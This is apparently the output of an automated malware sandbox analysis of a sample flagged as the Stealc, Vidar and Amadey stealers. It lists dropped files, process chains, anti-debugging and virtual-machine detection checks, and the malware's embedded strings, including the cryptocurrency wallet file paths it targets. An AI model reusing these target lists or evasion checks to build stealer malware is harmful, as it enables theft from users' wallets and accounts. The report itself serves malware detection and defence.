Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1012819001\439191dd24.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 7408	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7408	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7404	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7404	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7492	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7400	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7400	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7412	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7412	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7396	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7396	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588	Thread sleep count: 59 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588	Thread sleep time: -1770000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C97C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C97C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000014.00000002.2836991660.0000000000B36000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000000.2779718914.0000000000B36000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.3282825410.0000000000B36000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.3412938476.0000000000B36000.00000040.00000001.01000000.0000000E.sdmp, JKKKJJJKJK.exe.0.dr, skotes.exe.17.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: HCFCAAEB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: HCFCAAEB.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: HCFCAAEB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2762226429.00000000015F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: HCFCAAEB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3414131340.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: HCFCAAEB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: HCFCAAEB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: HCFCAAEB.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: HCFCAAEB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: HCFCAAEB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2758018084.0000000000691000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000000.00000002.2758018084.0000000000691000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: MSHN6QKQEMU
Source: file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: HCFCAAEB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: HCFCAAEB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: HCFCAAEB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: HCFCAAEB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: HCFCAAEB.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: HCFCAAEB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: HCFCAAEB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: HCFCAAEB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK)I
Source: file.exe, 00000000.00000002.2759597710.0000000000A61000.00000040.00000001.01000000.00000003.sdmp, JKKKJJJKJK.exe, 00000011.00000002.2789500711.0000000000766000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000013.00000002.2821806579.0000000000B36000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000002.2836991660.0000000000B36000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.3412938476.0000000000B36000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HCFCAAEB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: HCFCAAEB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: JKKKJJJKJK.exe, 00000011.00000000.2738642891.0000000000766000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000013.00000000.2759539864.0000000000B36000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000014.00000000.2779718914.0000000000B36000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.3282825410.0000000000B36000.00000080.00000001.01000000.0000000E.sdmp, JKKKJJJKJK.exe.0.dr, skotes.exe.17.dr	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

Code function: 17_2_04C4077A Start: 04C409E3 End: 04C40796

17_2_04C4077A

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

Code function: 17_2_04C40335 rdtsc

17_2_04C40335

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9C5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C963480

Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005A652B mov eax, dword ptr fs:[00000030h]	17_2_005A652B
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Code function: 17_2_005AA302 mov eax, dword ptr fs:[00000030h]	17_2_005AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0097A302 mov eax, dword ptr fs:[00000030h]	19_2_0097A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_0097652B mov eax, dword ptr fs:[00000030h]	19_2_0097652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0097A302 mov eax, dword ptr fs:[00000030h]	20_2_0097A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 20_2_0097652B mov eax, dword ptr fs:[00000030h]	20_2_0097652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C99B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C99B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB4AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKKKJJJKJK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JKKKJJJKJK.exe "C:\Users\user\Documents\JKKKJJJKJK.exe"	Jump to behavior
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB94760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CB94760

Source: skotes.exe, skotes.exe, 00000014.00000002.2838026018.0000000000B7B000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.3413230384.0000000000B7B000.00000040.00000001.01000000.0000000E.sdmp

Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C99B341 cpuid

0_2_6C99B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9635A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.JKKKJJJKJK.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2834011701.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3412296023.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2821458467.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2786863150.0000000000571000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2758018084.0000000000691000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Electrum-LTC\wallets\.
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 